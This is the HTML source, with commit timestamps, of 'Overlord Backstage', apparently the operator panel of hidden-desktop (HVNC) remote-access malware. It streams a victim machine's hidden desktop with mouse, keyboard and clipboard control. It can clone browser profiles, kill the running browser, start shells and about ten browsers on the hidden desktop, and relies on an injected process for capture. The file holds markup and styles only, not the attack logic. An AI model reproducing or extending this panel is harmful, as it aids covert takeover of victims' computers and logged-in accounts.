2026-03-05 00:04:26 -06:00
<!doctype html>
< html >
< head >
< meta charset = "utf-8" />
< meta name = "viewport" content = "width=device-width, initial-scale=1.0" />
2026-05-08 15:36:24 -05:00
< script src = "/assets/nav-prelude.js" ></ script >
< link rel = "modulepreload" href = "/assets/nav.js" />
2026-03-12 14:22:03 -05:00
< title > Overlord Backstage</ title >
2026-03-05 15:25:52 -06:00
< link rel = "icon" type = "image/x-icon" href = "/assets/favicon.ico" />
2026-04-18 21:16:29 -05:00
< link rel = "stylesheet" href = "/vendor/inter/400.css" />
< link rel = "stylesheet" href = "/vendor/inter/600.css" />
< link rel = "stylesheet" href = "/vendor/inter/700.css" />
< link rel = "stylesheet" href = "/assets/tailwind.css" />
< link rel = "stylesheet" href = "/vendor/fontawesome/css/all.min.css" />
2026-03-05 00:04:26 -06:00
< link rel = "stylesheet" href = "/assets/main.css" />
2026-04-01 13:49:41 -05:00
< link rel = "stylesheet" href = "/assets/custom.css" />
2026-03-05 00:04:26 -06:00
< link rel = "stylesheet" href = "/assets/console.css" />
2026-04-08 14:37:03 -05:00
< script defer src = "/assets/logout.js" ></ script >
2026-03-05 00:04:26 -06:00
</ head >
< body class = "min-h-screen bg-slate-950 text-slate-100" >
< header id = "top-nav" ></ header >
< main class = "px-5 py-6 flex-1 flex flex-col" >
< div class = "flex-1 flex flex-col gap-4" style = "max-width: 100%" >
< div class = "flex flex-wrap gap-3 items-center" >
< div
class = "bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3"
>
< label class = "text-sm text-slate-300" for = "displaySelect"
> Display</ label
>
< select
id = "displaySelect"
class = "bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100"
></ select >
< button id = "refreshDisplays" class = "button ghost" >
< i class = "fa-solid fa-rotate" ></ i >< span > Refresh</ span >
</ button >
</ div >
< div
class = "bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
>
< label for = "qualitySlider" class = "text-slate-200" > Quality</ label >
< input
id = "qualitySlider"
type = "range"
min = "10"
max = "100"
step = "5"
value = "90"
class = "accent-violet-400"
/>
< span id = "qualityValue" class = "pill pill-ghost text-slate-100"
> 95%</ span
>
</ div >
2026-03-05 18:16:41 -06:00
< div
class = "bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 flex items-center gap-3 text-sm text-slate-300"
>
< label class = "flex items-center gap-2 text-slate-200" title = "Prefer H.264 when available; disable to force JPEG" >
< input type = "checkbox" id = "codecH264" checked /> H.264
</ label >
< span id = "codecMode" class = "pill pill-ghost text-slate-100" > Codec: auto</ span >
</ div >
2026-03-05 00:04:26 -06:00
< div class = "flex items-center gap-2" >
< button id = "startBtn" class = "button primary" >
< i class = "fa-solid fa-play" ></ i >< span > Start</ span >
</ button >
< button id = "stopBtn" class = "button ghost" >
< i class = "fa-solid fa-stop" ></ i >< span > Stop</ span >
</ button >
< button id = "commandsBtn" class = "button ghost" >
< i class = "fa-solid fa-terminal" ></ i >< span > Commands</ span >
</ button >
2026-04-24 09:53:28 -05:00
< button id = "killAllBtn" class = "button ghost" title = "Kill all programs running on the hidden desktop" >
< i class = "fa-solid fa-skull" ></ i >< span > Kill All</ span >
</ button >
2026-03-05 00:04:26 -06:00
< button id = "fullscreenBtn" class = "button ghost" >
< i class = "fa-solid fa-expand" ></ i >< span > Fullscreen</ span >
</ button >
</ div >
< div
id = "streamStatus"
class = "inline-flex items-center gap-2 px-3 py-2 rounded-full bg-slate-800 text-slate-300 border border-slate-700 text-sm"
>
< i class = "fa-solid fa-circle-notch fa-spin" ></ i >
< span > Connecting</ span >
</ div >
2026-03-12 14:41:03 -05:00
< div
id = "cloneProgress"
class = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
>
< i class = "fa-solid fa-clone text-violet-400" ></ i >
< span id = "cloneProgressLabel" > Cloning profile…</ span >
< div class = "w-32 h-2 bg-slate-700 rounded-full overflow-hidden" >
< div id = "cloneProgressBar" class = "h-full bg-violet-500 rounded-full transition-all duration-200" style = "width: 0%" ></ div >
</ div >
< span id = "cloneProgressPct" class = "pill pill-ghost font-mono text-violet-200 min-w-[3ch] text-right" > 0%</ span >
</ div >
2026-04-16 14:22:28 -05:00
< div
id = "dxgiStatus"
class = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
>
< i id = "dxgiStatusIcon" class = "fa-solid fa-microchip text-emerald-400" ></ i >
< span id = "dxgiStatusLabel" > DXGI</ span >
</ div >
2026-05-15 18:29:25 -05:00
< div
id = "launchStatus"
class = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
>
< i id = "launchStatusIcon" class = "fa-solid fa-rocket text-sky-400" ></ i >
< span id = "launchStatusLabel" class = "text-slate-300" > Launching...</ span >
</ div >
2026-03-05 00:04:26 -06:00
< div
class = "flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
>
< span class = "uppercase tracking-wide text-xs text-slate-500"
> fps</ span
>
< span
id = "agentFps"
class = "pill pill-ghost font-mono text-violet-200"
> --</ span
>
< span class = "text-slate-600" > →</ span >
< span id = "viewerFps" class = "pill pill-ghost font-mono text-sky-200"
> --</ span
>
2026-03-17 15:09:44 +01:00
< span class = "text-slate-600" > |</ span >
< span class = "uppercase tracking-wide text-xs text-slate-500" > lat</ span >
< span id = "latencyDisplay" class = "pill pill-ghost font-mono text-amber-200" > --</ span >
2026-03-05 00:04:26 -06:00
</ div >
< div
class = "flex items-center gap-4 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2"
>
< label class = "flex items-center gap-2 text-sm text-slate-200"
>< input type = "checkbox" id = "mouseCtrl" /> Mouse</ label
>
< label class = "flex items-center gap-2 text-sm text-slate-200"
>< input type = "checkbox" id = "kbdCtrl" /> Keyboard</ label
>
2026-03-28 21:58:16 -05:00
< label class = "flex items-center gap-2 text-sm text-slate-200" title = "Sync clipboard between your browser and the remote machine"
>< input type = "checkbox" id = "clipboardSyncCtrl" /> Clipboard Sync</ label
>
2026-04-22 13:14:03 -05:00
< label class = "flex items-center gap-2 text-sm text-slate-200" title = "Use DXGI Present hook for faster capture (requires injected process). WARNING: If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it."
>< input type = "checkbox" id = "dxgiCtrl" /> DXGI Capture
< i class = "fa-solid fa-triangle-exclamation text-amber-400 text-xs" title = "If Chrome or HVNC is running slowly, DXGI capture may be the cause — uncheck this and restart Chrome inside HVNC to fix it." ></ i ></ label
2026-04-16 10:01:49 -05:00
>
2026-04-24 19:20:58 -05:00
< label class = "flex items-center gap-2 text-sm text-slate-200" title = "Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps."
>< input type = "checkbox" id = "uiaCtrl" checked /> UIA Support</ label
>
2026-04-16 10:01:49 -05:00
< label for = "hvncResolutionSelect" class = "text-sm text-slate-200" > Resolution</ label >
< select
id = "hvncResolutionSelect"
class = "bg-slate-800 border border-slate-700 rounded px-2 py-1 text-slate-100 text-sm"
>
< option value = "720" > 720p</ option >
< option value = "1080" selected > 1080p</ option >
< option value = "1440" > 1440p</ option >
< option value = "-1" > Native</ option >
</ select >
2026-03-17 01:06:01 -05:00
2026-03-05 00:04:26 -06:00
</ div >
</ div >
< div
id = "canvasContainer"
class = "flex-1 rounded-xl border border-violet-800/50 bg-slate-900/70 shadow-lg overflow-hidden flex flex-col"
style = "min-height: 500px"
>
< div class = "p-3 text-sm text-slate-400 flex-shrink-0 flex items-center gap-2" >
< i class = "fa-solid fa-ghost text-violet-400" ></ i >
< span > Hidden Virtual Desktop - Client: < span id = "clientLabel" class = "text-slate-100" > -</ span ></ span >
</ div >
< div
class = "flex-1 flex items-center justify-center p-4"
style = "min-height: 0; overflow: hidden"
>
< canvas
id = "frameCanvas"
class = "bg-slate-950"
width = "1280"
height = "720"
style = "
display: block;
max-width: 100%;
max-height: 100%;
width: auto;
height: auto;
"
></ canvas >
</ div >
</ div >
< div
id = "hvncContextMenu"
2026-04-17 09:56:04 -05:00
class = "hidden fixed z-50 min-w-[220px] max-h-[80vh] overflow-y-auto rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
2026-03-05 00:04:26 -06:00
>
2026-04-17 09:56:04 -05:00
<!-- Options -->
< div class = "px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500" > Options</ div >
< label class = "flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none" >
2026-03-11 23:11:44 -05:00
< input type = "checkbox" id = "hvncCloneToggle" checked class = "accent-violet-500 w-4 h-4 rounded" />
< span class = "text-xs text-slate-300" > Clone profile</ span >
</ label >
2026-04-17 09:56:04 -05:00
< label class = "flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none" >
2026-03-12 01:06:57 -05:00
< input type = "checkbox" id = "hvncCloneLiteToggle" class = "accent-violet-500 w-4 h-4 rounded" />
< span class = "text-xs text-slate-300" > Lite clone (no extensions)</ span >
</ label >
2026-04-17 09:56:04 -05:00
< label class = "flex items-center gap-2 px-3 py-1.5 cursor-pointer hover:bg-slate-800/70 select-none" >
2026-03-17 23:55:39 -05:00
< input type = "checkbox" id = "hvncKillIfRunningToggle" class = "accent-violet-500 w-4 h-4 rounded" />
2026-03-14 20:11:47 -05:00
< span class = "text-xs text-slate-300" > Kill browser if running</ span >
</ label >
2026-04-17 09:56:04 -05:00
< div class = "my-1 border-t border-slate-700/60" ></ div >
<!-- Shells -->
< div class = "px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500" > Shells</ div >
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-cmd" >
< i class = "fa-solid fa-terminal mr-2 text-violet-300" ></ i > cmd.exe
2026-03-05 00:04:26 -06:00
</ button >
2026-04-17 09:56:04 -05:00
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-powershell" >
< i class = "fa-solid fa-bolt mr-2 text-sky-300" ></ i > powershell.exe
2026-03-05 00:04:26 -06:00
</ button >
2026-04-17 09:56:04 -05:00
< div class = "my-1 border-t border-slate-700/60" ></ div >
<!-- Chromium Browsers -->
< div class = "px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500" > Chromium</ div >
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-chrome" data-browser = "chrome" >
< i class = "fa-brands fa-chrome mr-2 text-emerald-300" ></ i > Chrome
2026-03-05 00:04:26 -06:00
</ button >
2026-04-17 09:56:04 -05:00
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-brave" data-browser = "brave" >
< i class = "fa-brands fa-brave mr-2 text-amber-300" ></ i > Brave
2026-03-05 00:04:26 -06:00
</ button >
2026-04-17 09:56:04 -05:00
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-edge" data-browser = "edge" >
< i class = "fa-brands fa-edge mr-2 text-sky-300" ></ i > Edge
2026-03-05 00:04:26 -06:00
</ button >
2026-04-17 09:56:04 -05:00
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-opera" data-browser = "opera" >
< i class = "fa-brands fa-opera mr-2 text-red-400" ></ i > Opera
2026-03-17 15:09:44 +01:00
</ button >
2026-04-17 09:56:04 -05:00
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-operagx" data-browser = "operagx" >
< i class = "fa-brands fa-opera mr-2 text-fuchsia-400" ></ i > Opera GX
</ button >
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-vivaldi" data-browser = "vivaldi" >
< i class = "fa-solid fa-globe mr-2 text-rose-300" ></ i > Vivaldi
</ button >
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-yandex" data-browser = "yandex" >
< i class = "fa-brands fa-yandex-international mr-2 text-yellow-300" ></ i > Yandex
</ button >
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-arc" data-browser = "arc" >
< i class = "fa-solid fa-globe mr-2 text-blue-300" ></ i > Arc
</ button >
< div class = "my-1 border-t border-slate-700/60" ></ div >
<!-- Firefox Browsers -->
< div class = "px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500" > Firefox</ div >
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-firefox" data-browser = "firefox" >
< i class = "fa-brands fa-firefox mr-2 text-orange-300" ></ i > Firefox
</ button >
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-waterfox" data-browser = "waterfox" >
< i class = "fa-brands fa-firefox mr-2 text-cyan-300" ></ i > Waterfox
</ button >
< div class = "my-1 border-t border-slate-700/60" ></ div >
<!-- Custom -->
2026-03-05 00:04:26 -06:00
< div class = "px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500" > Custom</ div >
2026-04-17 09:56:04 -05:00
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "start-custom" >
2026-03-05 00:04:26 -06:00
< i class = "fa-solid fa-file mr-2 text-slate-300" ></ i > Run custom exe…
</ button >
2026-04-17 09:56:04 -05:00
< button type = "button" class = "w-full text-left px-3 py-1.5 hover:bg-slate-800/70" data-action = "lookup-exe" >
2026-03-21 17:42:31 -05:00
< i class = "fa-solid fa-magnifying-glass mr-2 text-amber-300" ></ i > Lookup exe…
</ button >
2026-05-10 00:03:49 -05:00
< div class = "my-1 border-t border-slate-700/60" ></ div >
<!-- Installed Apps -->
< div class = "px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500 flex items-center gap-2" >
< span > Installed Apps</ span >
< span id = "installedAppsCount" class = "text-slate-600" ></ span >
< button type = "button" id = "refreshInstalledApps" class = "ml-auto text-slate-500 hover:text-slate-300" title = "Refresh installed apps" >
< i class = "fa-solid fa-rotate text-[10px]" ></ i >
</ button >
</ div >
< div id = "installedAppsLoading" class = "px-3 py-3 text-xs text-slate-500 text-center" >
< i class = "fa-solid fa-spinner fa-spin mr-1" ></ i > Loading apps…
</ div >
< div id = "installedAppsList" class = "hidden max-h-[280px] overflow-y-auto px-1.5 pb-1.5" >
< div class = "grid grid-cols-1 gap-0.5" id = "installedAppsGrid" ></ div >
</ div >
2026-03-05 00:04:26 -06:00
</ div >
< style >
body {
display : flex ;
flex-direction : column ;
min-height : 100 vh ;
}
# canvasContainer [ data-stream-state = "streaming" ] {
border-color : rgba ( 139 , 92 , 246 , 0.7 );
box-shadow : 0 0 0 1 px rgba ( 139 , 92 , 246 , 0.45 );
}
# canvasContainer [ data-stream-state = "stalled" ] {
border-color : rgba ( 251 , 146 , 60 , 0.7 );
box-shadow : 0 0 0 1 px rgba ( 251 , 146 , 60 , 0.45 );
}
# canvasContainer : fullscreen {
display : flex ;
flex-direction : column ;
background : #000 ;
}
# canvasContainer : fullscreen # frameCanvas {
width : 100 % ;
height : 100 % ;
object-fit : contain ;
margin : auto ;
}
# hvncContextMenu . hidden {
display : none ;
}
2026-04-17 09:56:04 -05:00
# hvncContextMenu button . browser-unavailable {
opacity : 0.35 ;
pointer-events : none ;
cursor : default ;
}
# hvncContextMenu button . browser-unavailable :: after {
content : " (not found)" ;
font-size : 0.65 rem ;
color : #94a3b8 ;
}
2026-05-10 00:03:49 -05:00
# installedAppsList :: -webkit-scrollbar {
width : 6 px ;
}
# installedAppsList :: -webkit-scrollbar-track {
background : transparent ;
}
# installedAppsList :: -webkit-scrollbar-thumb {
background : #334155 ;
border-radius : 3 px ;
}
# installedAppsList :: -webkit-scrollbar-thumb : hover {
background : #475569 ;
}
. installed-app-btn {
display : flex ;
align-items : center ;
gap : 8 px ;
width : 100 % ;
text-align : left ;
padding : 5 px 8 px ;
border-radius : 6 px ;
font-size : 0.75 rem ;
color : #e2e8f0 ;
transition : background 0.15 s ;
}
. installed-app-btn : hover {
background : rgba ( 139 , 92 , 246 , 0.18 );
color : #c4b5fd ;
}
. installed-app-btn img {
width : 20 px ;
height : 20 px ;
flex-shrink : 0 ;
image-rendering : auto ;
}
. installed-app-btn . app-icon-placeholder {
width : 20 px ;
height : 20 px ;
flex-shrink : 0 ;
display : flex ;
align-items : center ;
justify-content : center ;
background : #1e293b ;
border-radius : 4 px ;
font-size : 10 px ;
color : #64748b ;
}
. installed-app-btn . app-name {
overflow : hidden ;
text-overflow : ellipsis ;
white-space : nowrap ;
min-width : 0 ;
}
2026-03-05 00:04:26 -06:00
</ style >
</ div >
</ main >
2026-04-18 21:16:29 -05:00
< script defer src = "/vendor/msgpackr/msgpackr.js" ></ script >
2026-03-05 00:04:26 -06:00
< script type = "module" src = "/assets/nav.js" ></ script >
< script type = "module" src = "/assets/hvnc.js" ></ script >
</ body >
</ html >